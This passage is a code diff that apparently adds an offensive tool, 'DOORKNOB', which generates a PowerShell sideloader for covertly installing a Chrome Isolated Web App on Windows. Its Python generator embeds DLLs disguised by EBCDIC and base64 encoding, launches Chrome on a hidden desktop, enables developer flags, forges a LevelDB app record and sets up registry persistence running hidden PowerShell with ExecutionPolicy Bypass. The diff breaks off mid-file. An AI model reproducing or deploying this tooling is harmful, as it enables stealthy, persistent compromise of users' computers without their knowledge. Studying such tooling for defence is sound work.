<!-- Clean output directory on build -->
|
||||
<CleanOutputPath>true</CleanOutputPath>
|
||||
|
||||
<!-- Don't generate deps.json and other files -->
|
||||
<GenerateDependencyFile>false</GenerateDependencyFile>
|
||||
<CopyLocalLockFileAssemblies>false</CopyLocalLockFileAssemblies>
|
||||
<GenerateRuntimeConfigurationFiles>false</GenerateRuntimeConfigurationFiles>
|
||||
|
||||
<!-- Suppress warnings about missing XML documentation -->
|
||||
<NoWarn>1591</NoWarn>
|
||||
|
||||
<!-- Define the final output directory -->
|
||||
<FinalOutputPath>dist</FinalOutputPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Compile Include="RegHelper.cs" />
|
||||
<PackageReference Include="PowerShellStandard.Library" Version="5.1.0" />
|
||||
</ItemGroup>
|
||||
|
||||
<!-- Custom target to copy the DLL to the final location without netstandard2.0 folder -->
|
||||
<Target Name="CopyToFinalOutput" AfterTargets="Build">
|
||||
<!-- Create the final output directory if it doesn't exist -->
|
||||
<MakeDir Directories="$(FinalOutputPath)" />
|
||||
|
||||
<!-- Copy the DLL to the final output directory -->
|
||||
<Copy SourceFiles="$(OutputPath)\$(AssemblyName).dll"
|
||||
DestinationFolder="$(FinalOutputPath)" />
|
||||
|
||||
<!-- Optional: Display a message -->
|
||||
<Message Text="DLL copied to $(FinalOutputPath)\$(AssemblyName).dll" Importance="high" />
|
||||
</Target>
|
||||
|
||||
<!-- Custom target to clean up the obj folder after successful build and copy -->
|
||||
<Target Name="CleanupObjFolder" AfterTargets="CopyToFinalOutput">
|
||||
<!-- Delete the obj folder -->
|
||||
<RemoveDir Directories="obj" />
|
||||
<Message Text="Cleaned up obj folder" Importance="high" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -0,0 +1,339 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import base64
|
||||
import argparse
|
||||
import re
|
||||
from datetime import datetime
|
||||
import random
|
||||
import uuid
|
||||
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
|
||||
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
|
||||
from reference.protobufUpdater import parse_protobuf, update_with_origin
|
||||
import binascii
|
||||
|
||||
IWA_APP_NAME = "DOORKNOB"
|
||||
|
||||
def generate_protobuf(bundle_path):
|
||||
"""Generate protobuf data using information from manifest and bundle."""
|
||||
# Read manifest from bundle
|
||||
manifest = extract_manifest_from_bundle(bundle_path)
|
||||
APP_NAME = manifest['name']
|
||||
VERSION = manifest['version']
|
||||
|
||||
# Parse bundle to get signature and public key
|
||||
bundle_info = parse_signed_web_bundle_header(bundle_path)
|
||||
PUBLIC_KEY = bundle_info['public_key']
|
||||
SIGNATURE_INFO = bundle_info['signature']
|
||||
|
||||
# Generate IDs from public key
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(PUBLIC_KEY))
|
||||
ORIGIN = f"isolated-app://{web_bundle_id}"
|
||||
APP_ID = get_chrome_app_id(PUBLIC_KEY)
|
||||
|
||||
# Generate other required values
|
||||
INSTALL_TIME = int(datetime.now().timestamp())
|
||||
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
|
||||
|
||||
# Print information
|
||||
print("Generated values:")
|
||||
print(f"APP_NAME: {APP_NAME}")
|
||||
print(f"VERSION: {VERSION}")
|
||||
print(f"ORIGIN: {ORIGIN}")
|
||||
print(f"APP_ID: {APP_ID}")
|
||||
print(f"PUBLIC_KEY: {PUBLIC_KEY}")
|
||||
print(f"SIGNATURE_INFO: {SIGNATURE_INFO}")
|
||||
print(f"IWA_FOLDER_NAME: {IWA_FOLDER_NAME}")
|
||||
|
||||
# Read template protobuf
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
template_path = os.path.join(script_dir, "reference", "app.pb")
|
||||
with open(template_path, 'rb') as f:
|
||||
template_data = f.read()
|
||||
|
||||
# Parse and update protobuf
|
||||
message = parse_protobuf(template_data)
|
||||
|
||||
# Convert string values to bytes for length-delimited fields
|
||||
def to_bytes(s: str) -> bytes:
|
||||
return s.encode('utf-8')
|
||||
|
||||
# Track jitter count for field 59.1.3.2
|
||||
jitter_count = 0
|
||||
def add_jitter(base_time: int, _) -> int:
|
||||
nonlocal jitter_count
|
||||
jitter_count += 1
|
||||
return base_time + jitter_count + random.randint(5, 10)
|
||||
|
||||
# Perform field updates
|
||||
updates = [
|
||||
([1, 1], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 2], to_bytes(APP_NAME)),
|
||||
([1, 5], to_bytes(f"{ORIGIN}/")),
|
||||
([1, 6, 2], ORIGIN, update_with_origin),
|
||||
([2], to_bytes(APP_NAME)),
|
||||
([6], to_bytes(f"{ORIGIN}/")),
|
||||
([10, 2], ORIGIN, update_with_origin),
|
||||
([16], INSTALL_TIME),
|
||||
([30], ORIGIN, update_with_origin),
|
||||
([49, 2], to_bytes(ORIGIN)),
|
||||
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
|
||||
([59, 1, 1], to_bytes(APP_NAME)),
|
||||
([59, 5, 2], to_bytes(APP_NAME)),
|
||||
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
|
||||
([60, 6], to_bytes(VERSION)),
|
||||
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
|
||||
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
|
||||
([64], INSTALL_TIME),
|
||||
]
|
||||
|
||||
for field_path, value, *transform in updates:
|
||||
message.update_field(field_path, value, transform[0] if transform else None)
|
||||
|
||||
# Serialize
|
||||
serialized = message.serialize()
|
||||
hex_output = binascii.hexlify(serialized).decode('ascii')
|
||||
|
||||
return hex_output, APP_ID, IWA_FOLDER_NAME
|
||||
|
||||
def encode_dll_to_ebcdic_base64(file_path):
|
||||
"""
|
||||
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
|
||||
|
||||
Args:
|
||||
file_path: Path to the DLL file
|
||||
|
||||
Returns:
|
||||
Base64 encoded string of the EBCDIC encoded DLL
|
||||
"""
|
||||
try:
|
||||
# Check if file exists
|
||||
if not os.path.exists(file_path):
|
||||
print(f"Error: File not found at {file_path}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
# Read the binary content of the DLL
|
||||
with open(file_path, 'rb') as file:
|
||||
dll_bytes = file.read()
|
||||
|
||||
# Convert binary to EBCDIC encoding
|
||||
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
|
||||
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
|
||||
|
||||
# Base64 encode the EBCDIC encoded bytes
|
||||
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
|
||||
|
||||
return base64_encoded
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error: {str(e)}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
def generate_powershell_script(bundle_path, output_path, app_name=None):
|
||||
"""Generate the PowerShell sideloader script."""
|
||||
# Use provided app_name if available, otherwise use default
|
||||
global IWA_APP_NAME
|
||||
if app_name:
|
||||
IWA_APP_NAME = app_name
|
||||
print(f"Using custom app name: {IWA_APP_NAME}")
|
||||
|
||||
# Read the bundle file as base64
|
||||
with open(bundle_path, 'rb') as f:
|
||||
bundle_data = base64.b64encode(f.read()).decode('ascii')
|
||||
|
||||
# Generate protobuf and get required values
|
||||
protobuf_hex, app_id, iwa_folder_name = generate_protobuf(bundle_path)
|
||||
|
||||
# Generate a GUID for the desktop name
|
||||
desktop_guid = str(uuid.uuid4())
|
||||
|
||||
# Read the template files
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
|
||||
init_script = f.read()
|
||||
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
|
||||
leveldb_script = f.read()
|
||||
|
||||
# Read the HiddenDesktopNative DLL and encode as base64
|
||||
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
|
||||
with open(dll_path, 'rb') as f:
|
||||
dll_data = encode_dll_to_ebcdic_base64(dll_path)
|
||||
|
||||
# Read the RegHelper DLL and encode as base64
|
||||
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
|
||||
with open(reghelper_dll_path, 'rb') as f:
|
||||
reghelper_dll_data = encode_dll_to_ebcdic_base64(reghelper_dll_path)
|
||||
|
||||
# Read the memory DLL loader script
|
||||
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
|
||||
module_loader_script = f.read()
|
||||
|
||||
# Read the Chrome IWA Start Script
|
||||
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
|
||||
start_script = f.read()
|
||||
|
||||
|
||||
# Create the combined script
|
||||
script = f"""
|
||||
# Generated IWA Sideloader Script
|
||||
# App ID: {app_id}
|
||||
# App Name: {IWA_APP_NAME}
|
||||
# IWA Folder: {iwa_folder_name}
|
||||
|
||||
$env:APP_NAME = "{IWA_APP_NAME}"
|
||||
|
||||
$bundleData = @"
|
||||
{bundle_data}
|
||||
"@
|
||||
|
||||
# Extract the ProcessHelper.dll to the current directory
|
||||
$assemblyName = "ProcessHelper"
|
||||
$assemblyBytesBase64 = @"
|
||||
{dll_data}
|
||||
"@
|
||||
|
||||
# RegHelper.dll data for registry operations
|
||||
$regHelperAssemblyBytesBase64 = @"
|
||||
{reghelper_dll_data}
|
||||
"@
|
||||
|
||||
# Create Directory at $appPath
|
||||
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
New-Item -Path $appPath -ItemType Directory -Force
|
||||
|
||||
# Include the module loader script
|
||||
{module_loader_script}
|
||||
|
||||
# Use a shared desktop name for both Chrome instances
|
||||
$sharedDesktopName = "Desktop_{desktop_guid}"
|
||||
Write-Host "Using shared hidden desktop: $sharedDesktopName"
|
||||
|
||||
# Call the function to decode and load the ProcessHelper module
|
||||
$dllPath = Join-Path $appPath "ProcessHelper.dll"
|
||||
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
|
||||
|
||||
if (-not $moduleLoaded) {{
|
||||
Write-Error "Failed to load the ProcessHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# Decode and load the RegHelper module
|
||||
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
|
||||
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
|
||||
|
||||
if (-not $regHelperModuleLoaded) {{
|
||||
Write-Error "Failed to load the RegHelper module. Exiting."
|
||||
exit 1
|
||||
}}
|
||||
|
||||
# First initialize Chrome with IWA settings
|
||||
{init_script}
|
||||
|
||||
# Then handle LevelDB operations
|
||||
{leveldb_script}
|
||||
|
||||
# Move ProcessHelper.dll to the app directory
|
||||
Move-Item -Path $dllPath -Destination $appPath
|
||||
|
||||
# Move RegHelper.dll to the app directory
|
||||
Move-Item -Path $regHelperDllPath -Destination $appPath
|
||||
|
||||
# Override Initialize-IWADirectory to use embedded bundle data
|
||||
function Initialize-IWADirectory {{
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$AppInternalName
|
||||
)
|
||||
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
|
||||
|
||||
# Create directories if they don't exist
|
||||
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
|
||||
|
||||
# Write bundle data
|
||||
$bundleBytes = [Convert]::FromBase64String($bundleData)
|
||||
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
|
||||
}}
|
||||
|
||||
# Initialize IWA directory
|
||||
Initialize-IWADirectory -AppInternalName "{iwa_folder_name}"
|
||||
|
||||
# Write LevelDB entry
|
||||
$logPath = Get-LevelDBLogFilePath
|
||||
Write-Output "Log Path: $logPath"
|
||||
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{app_id}" -ValueHex "{protobuf_hex}"
|
||||
|
||||
Write-Output "Launching Chrome for IWA ({app_id}) at Path $env:CHROME_PATH"
|
||||
$env:IWA_APP_ID = "{app_id}"
|
||||
|
||||
# Prepare the start script with proper variable handling
|
||||
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
|
||||
|
||||
# Create the script content as a simple string
|
||||
$startScriptContent = "# Environment variables for IWA app `n"
|
||||
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
|
||||
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
|
||||
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
|
||||
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
|
||||
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
|
||||
$startScriptContent += "`n# Start script content`n"
|
||||
$startScriptContent += @'
|
||||
{start_script}
|
||||
'@
|
||||
|
||||
Write-Host "Writing start script to: $startScriptPath"
|
||||
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
|
||||
|
||||
# Now run the start script
|
||||
Write-Host "Running the IWA app..."
|
||||
& $startScriptPath
|
||||
|
||||
# Setup persistence using the RegHelper module
|
||||
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
|
||||
|
||||
# Define persistence parameters
|
||||
$persistenceValueName = "{IWA_APP_NAME}.Updater"
|
||||
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
|
||||
|
||||
# Execute the persistence setup using the RegHelper module
|
||||
try {{
|
||||
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
|
||||
}} catch {{
|
||||
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
|
||||
throw
|
||||
}}
|
||||
"""
|
||||
|
||||
with open(output_path, 'w') as f:
|
||||
f.write(script)
|
||||
|
||||
print(f"\nGenerated sideloader script: {output_path}")
|
||||
print(f"Using shared desktop name: Desktop_{desktop_guid}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('bundle_path', help='Path to the .swbn bundle file')
|
||||
parser.add_argument('--output', help='Output path for the sideloader script')
|
||||
parser.add_argument('--appname', help='Override the default IWA app name (default: DOORKNOB)')
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
# Validate bundle path
|
||||
if not os.path.exists(args.bundle_path):
|
||||
raise FileNotFoundError(f"Bundle file not found: {args.bundle_path}")
|
||||
|
||||
# Generate default output path if not specified
|
||||
if not args.output:
|
||||
bundle_name = os.path.splitext(os.path.basename(args.bundle_path))[0]
|
||||
args.output = f"{bundle_name}-sideloader.ps1"
|
||||
|
||||
generate_powershell_script(args.bundle_path, args.output, args.appname)
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,29 @@
|
||||
function Decode-And-Load-Module {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$assemblyBytesBase64,
|
||||
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$dllPath
|
||||
)
|
||||
|
||||
$assemblyBytes = [System.Convert]::FromBase64String($assemblyBytesBase64)
|
||||
|
||||
$encoding = [System.Text.Encoding]::GetEncoding(37)
|
||||
$ebcdicString = $encoding.GetString($assemblyBytes)
|
||||
|
||||
$latin1Encoding = [System.Text.Encoding]::GetEncoding(28591)
|
||||
$binaryBytes = $latin1Encoding.GetBytes($ebcdicString)
|
||||
[System.IO.File]::WriteAllBytes($dllPath, $binaryBytes)
|
||||
|
||||
# Import the module
|
||||
Write-Host "Importing module from: $dllPath" -ForegroundColor Cyan
|
||||
try {
|
||||
Import-Module $dllPath -ErrorAction Stop
|
||||
Write-Host "Module imported successfully" -ForegroundColor Green
|
||||
return $true
|
||||
} catch {
|
||||
Write-Error "Failed to import module: $_"
|
||||
return $false
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
$appName = $env:APP_NAME
|
||||
if ($null -eq $appName) {
|
||||
$appName = "DOORKNOB"
|
||||
}
|
||||
|
||||
# Check if Chrome is installed by looking in common installation paths
|
||||
$chromePaths = @(
|
||||
"${env:ProgramFiles}\Google\Chrome\Application\chrome.exe",
|
||||
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
|
||||
"${env:LocalAppData}\Google\Chrome\Application\chrome.exe"
|
||||
)
|
||||
|
||||
$chromePath = $null
|
||||
foreach ($path in $chromePaths) {
|
||||
if (Test-Path $path) {
|
||||
$chromePath = $path
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if ($null -eq $chromePath) {
|
||||
Write-Host "Chrome is not installed on this system."
|
||||
exit 1
|
||||
}
|
||||
|
||||
#set chrome path environment variable
|
||||
$env:CHROME_PATH = $chromePath
|
||||
Write-Host "Chrome found at: $chromePath"
|
||||
|
||||
# Create user data directory path
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$env:USER_DATA_DIR = $userDataDir
|
||||
|
||||
$chromeArgs = "--allow-no-sandbox-job --disable-3d-apis --disable-gpu " +
|
||||
"--disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins " +
|
||||
"--disable-accelerated-2d-canvas --disable-deadline-scheduling " +
|
||||
"--disable-ui-deadline-scheduling --aura-no-shadows " +
|
||||
"--user-data-dir=`"$userDataDir`" --profile-directory=Default"
|
||||
|
||||
# Launch Chrome on hidden desktop and store the result in a variable
|
||||
$process = Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeArgs
|
||||
|
||||
|
||||
# Wait 5 seconds
|
||||
Start-Sleep -Seconds 10
|
||||
|
||||
Write-Host "Chrome launched on hidden desktop - PID: $($process.Id)"
|
||||
$chromePid = $process.Id
|
||||
|
||||
if ($chromePid -gt 0) {
|
||||
try {
|
||||
$process = Get-Process -Id $chromePid -ErrorAction SilentlyContinue
|
||||
if ($process) {
|
||||
# Kill the Chrome process
|
||||
if (!$process.HasExited) {
|
||||
$process.Kill()
|
||||
Write-Debug "Successfully killed Chrome process with PID: $chromePid"
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Debug "Failed to kill Chrome process with PID: $chromePid"
|
||||
Write-Debug "Error: $_"
|
||||
}
|
||||
} else {
|
||||
Write-Debug "Failed to capture Chrome PID"
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "Waiting 5 seconds for Chrome to fully close and release the file\n"
|
||||
|
||||
# Wait a moment for Chrome to fully close and release the file
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
# Get current time in milliseconds since epoch
|
||||
$currentTimeMs = [Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s")) * 1000
|
||||
|
||||
# Path to Local State file
|
||||
$localStatePath = Join-Path $userDataDir "Local State"
|
||||
|
||||
# Read and parse the existing JSON file
|
||||
$jsonContent = Get-Content $localStatePath -Raw | ConvertFrom-Json
|
||||
|
||||
# Ensure browser object exists first
|
||||
if (-not ($jsonContent.PSObject.Properties['browser'])) {
|
||||
$jsonContent | Add-Member -Type NoteProperty -Name 'browser' -Value (@{})
|
||||
}
|
||||
|
||||
# Create and set all browser properties at once
|
||||
$jsonContent.browser = @{
|
||||
default_browser_infobar_declined_count = 1
|
||||
default_browser_infobar_last_declined_time = $currentTimeMs
|
||||
enabled_labs_experiments = @(
|
||||
"enable-isolated-web-app-dev-mode@1"
|
||||
"enable-isolated-web-apps@1"
|
||||
)
|
||||
first_run_finished = $true
|
||||
}
|
||||
|
||||
# Write the updated JSON back to the file
|
||||
$jsonContent | ConvertTo-Json -Depth 10 | Set-Content $localStatePath
|
||||
Binary file not shown.
@@ -0,0 +1,133 @@
|
||||
import binascii
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import json
|
||||
|
||||
def extract_manifest_from_bundle(bundle_path: str):
|
||||
"""Read and parse the manifest file from within the .swbn bundle."""
|
||||
if not os.path.exists(bundle_path):
|
||||
raise FileNotFoundError(f"Bundle file not found: {bundle_path}")
|
||||
|
||||
with open(bundle_path, 'rb') as f:
|
||||
bundle_data = f.read()
|
||||
|
||||
# Convert binary data to string for regex matching
|
||||
bundle_str = None
|
||||
for encoding in ['utf-8', 'latin-1', 'cp1252']:
|
||||
try:
|
||||
bundle_str = bundle_data.decode(encoding, errors='ignore')
|
||||
break
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
|
||||
if bundle_str is None:
|
||||
raise ValueError("Could not decode bundle file with any supported encoding")
|
||||
|
||||
# Look for JSON objects that contain fields and end with two newling separated }s
|
||||
# TODO: This is a hack to get the manifest. It's not a good solution.
|
||||
manifest_pattern = r'\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}'
|
||||
matches = re.findall(manifest_pattern, bundle_str, re.DOTALL)
|
||||
|
||||
# Try to parse each match as JSON
|
||||
for match in matches:
|
||||
try:
|
||||
cleaned_match = re.sub(r'[^\x20-\x7E]', '', match)
|
||||
manifest = json.loads(cleaned_match)
|
||||
|
||||
if 'name' in manifest and 'version' in manifest:
|
||||
return manifest
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
continue
|
||||
|
||||
raise ValueError("Could not find valid manifest JSON in bundle file")
|
||||
|
||||
|
||||
def parse_signed_web_bundle_header(file_path: str):
|
||||
with open(file_path, 'rb') as f:
|
||||
# First byte 0x84 indicates a CBOR array of 4 elements
|
||||
# Then magic bytes "🖋📦" (F0 9F 96 8B F0 9F 93 A6)
|
||||
# Then version "2b\0\0" (44 32 62 00 00)
|
||||
# Then attributes map with webBundleId
|
||||
# Then signature array
|
||||
|
||||
data = f.read(1024) # Read enough for header
|
||||
|
||||
# Skip CBOR array indicator
|
||||
pos = 2
|
||||
|
||||
# Verify magic bytes
|
||||
magic = data[pos:pos+8]
|
||||
if magic != b'\xf0\x9f\x96\x8b\xf0\x9f\x93\xa6':
|
||||
raise ValueError("Invalid magic bytes")
|
||||
pos += 8
|
||||
|
||||
# Verify version
|
||||
version = data[pos:pos+5]
|
||||
if version != b'D2b\x00\x00':
|
||||
raise ValueError(f"Invalid version: {binascii.hexlify(version)}")
|
||||
pos += 5
|
||||
|
||||
# Parse webBundleId map
|
||||
# 0xa1 indicates map with 1 key-value pair
|
||||
if data[pos] != 0xa1:
|
||||
raise ValueError("Invalid attributes map")
|
||||
pos += 1
|
||||
|
||||
# Skip 'webBundleId' key (0x6b = 11 bytes)
|
||||
pos += 12 # Skip "webBundleId"
|
||||
|
||||
# Read the ID (0x78 = text string, next byte is length)
|
||||
id_len = data[pos + 1]
|
||||
pos += 2
|
||||
web_bundle_id = data[pos:pos+id_len].decode('ascii')
|
||||
pos += id_len
|
||||
|
||||
# Parse signature array (0x81 = array of 1 element, 0x82 = map of 2 elements)
|
||||
if data[pos] != 0x81:
|
||||
raise ValueError("Invalid signature array")
|
||||
pos += 1
|
||||
|
||||
# Parse signature map
|
||||
if data[pos] != 0x82:
|
||||
raise ValueError("Invalid signature map")
|
||||
pos += 1
|
||||
|
||||
# Parse ed25519PublicKey (0xa1 = map with 1 pair)
|
||||
if data[pos] != 0xa1:
|
||||
raise ValueError("Invalid public key map")
|
||||
pos += 1
|
||||
|
||||
# Skip "ed25519PublicKey" string
|
||||
pos += 16
|
||||
|
||||
# Read public key (0x58 = bytes, next byte is length)
|
||||
key_len = data[pos + 2]
|
||||
pos += 3
|
||||
public_key = data[pos:pos+key_len]
|
||||
pos += key_len
|
||||
|
||||
# Read signature (0x58 = bytes, next byte is length)
|
||||
sig_len = data[pos + 1]
|
||||
pos += 2
|
||||
signature = data[pos:pos+sig_len]
|
||||
|
||||
return {
|
||||
'web_bundle_id': web_bundle_id,
|
||||
'public_key': base64.b64encode(public_key).decode('ascii'),
|
||||
'signature': binascii.hexlify(signature).decode('ascii')
|
||||
}
|
||||
|
||||
def main():
|
||||
path = "/Users/weber/Projects/iwa/git/DomusAeterna/dist/app.swbn"
|
||||
|
||||
manifest = extract_manifest_from_bundle(path)
|
||||
print(manifest)
|
||||
|
||||
result = parse_signed_web_bundle_header(path)
|
||||
print("Web Bundle ID:", result['web_bundle_id'])
|
||||
print("Public Key (base64):", result['public_key'])
|
||||
print("Signature (hex):", result['signature'])
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,67 @@
|
||||
import hashlib
|
||||
import base64
|
||||
import urllib.parse
|
||||
|
||||
def hex_to_chrome_alphabet(hex_string):
|
||||
"""Convert hex string to Chrome's a-p alphabet."""
|
||||
result = ""
|
||||
for hex_char in hex_string:
|
||||
val = int(hex_char, 16)
|
||||
result += chr(val + ord('a'))
|
||||
return result
|
||||
|
||||
def generate_id_from_hash(hash_bytes):
|
||||
"""Generate Chrome extension ID from first 16 bytes of hash."""
|
||||
first_16_bytes = hash_bytes[:16]
|
||||
hex_string = ''.join([f'{b:02x}' for b in first_16_bytes])
|
||||
return hex_to_chrome_alphabet(hex_string)
|
||||
|
||||
def create_web_bundle_id_from_public_key(public_key_bytes):
|
||||
"""Create a web bundle ID from an Ed25519 public key."""
|
||||
# Add the type suffix for Ed25519 (0x00, 0x01, 0x02)
|
||||
type_suffix = bytes([0x00, 0x01, 0x02])
|
||||
full_id = public_key_bytes + type_suffix
|
||||
# Base32 encode without padding and convert to lowercase
|
||||
encoded_id = base64.b32encode(full_id).decode('ascii').lower().rstrip('=')
|
||||
return encoded_id
|
||||
|
||||
def get_chrome_app_id(public_key_base64):
|
||||
"""Generate Chrome app ID from base64-encoded public key."""
|
||||
# Decode base64 public key
|
||||
public_key_bytes = base64.b64decode(public_key_base64)
|
||||
|
||||
# Create web bundle ID
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(public_key_bytes)
|
||||
|
||||
# Create manifest ID (the origin URL with trailing slash)
|
||||
manifest_id = f"isolated-app://{web_bundle_id}/"
|
||||
|
||||
# First hash - generate manifest ID hash
|
||||
manifest_id_hash = hashlib.sha256()
|
||||
manifest_id_hash.update(manifest_id.encode('utf-8'))
|
||||
first_hash = manifest_id_hash.digest()
|
||||
|
||||
# Second hash - generate final app ID
|
||||
app_id_hash = hashlib.sha256()
|
||||
app_id_hash.update(first_hash)
|
||||
second_hash = app_id_hash.digest()
|
||||
|
||||
return generate_id_from_hash(second_hash)
|
||||
|
||||
def main():
|
||||
# Test with the provided public key
|
||||
public_key = "kWvk3oUYfDR//zE9nJhA8CgIMulCPzXrWkMpXWRxp+g="
|
||||
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(public_key))
|
||||
print(f"Public Key (base64): {public_key}")
|
||||
print(f"Web Bundle ID: {web_bundle_id}")
|
||||
|
||||
manifest_id = f"isolated-app://{web_bundle_id}/"
|
||||
print(f"Manifest ID: {manifest_id}")
|
||||
|
||||
app_id = get_chrome_app_id(public_key)
|
||||
print(f"Generated App ID: {app_id}")
|
||||
print(f"LevelDB Key: web_apps-dt-{app_id}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,355 @@
|
||||
import re
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
class ProtoField:
|
||||
def __init__(self, name: str, number: int, type_name: Optional[str] = None):
|
||||
self.name = name
|
||||
self.number = number
|
||||
self.type_name = type_name
|
||||
|
||||
class ProtoMessage:
|
||||
def __init__(self, name: str):
|
||||
self.name = name
|
||||
self.fields: Dict[int, ProtoField] = {}
|
||||
self.reserved_fields: set[int] = set()
|
||||
self.nested_types: Dict[str, 'ProtoMessage'] = {}
|
||||
|
||||
def parse_varint(data, offset):
|
||||
"""Parse a varint from the data starting at offset."""
|
||||
result = 0
|
||||
shift = 0
|
||||
while True:
|
||||
byte = data[offset]
|
||||
result |= (byte & 0x7F) << shift
|
||||
offset += 1
|
||||
if not (byte & 0x80):
|
||||
break
|
||||
shift += 7
|
||||
return result, offset
|
||||
|
||||
def get_wire_type(byte):
|
||||
"""Extract wire type from a field's first byte."""
|
||||
return byte & 0x07
|
||||
|
||||
def get_field_number(data, offset):
|
||||
"""Extract field number from a varint."""
|
||||
field_number, _ = parse_varint(data, offset)
|
||||
return field_number >> 3
|
||||
|
||||
def is_printable_ascii(data):
|
||||
"""Check if data is likely a printable ASCII string."""
|
||||
if not data:
|
||||
return False
|
||||
# Reject if first byte looks like a protobuf field marker
|
||||
if data[0] < 32 or (data[0] & 0x07) <= 5: # Check if low 3 bits are a valid wire type
|
||||
return False
|
||||
# Check if data is mostly printable ASCII
|
||||
printable_chars = sum(32 <= b <= 126 or b in (9, 10, 13) for b in data)
|
||||
return printable_chars / len(data) > 0.9 # Increased threshold
|
||||
|
||||
def format_bytes(data):
|
||||
"""Format bytes as hex and ASCII."""
|
||||
hex_str = ' '.join(f'{b:02x}' for b in data)
|
||||
if is_printable_ascii(data):
|
||||
try:
|
||||
ascii_str = data.decode('utf-8')
|
||||
return f"String: {ascii_str!r}"
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
|
||||
# If not a string, show hex with ASCII representation
|
||||
ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
|
||||
return f"Hex: {hex_str}\nASCII: {ascii_str}"
|
||||
|
||||
def parse_length_delimited(data, offset):
|
||||
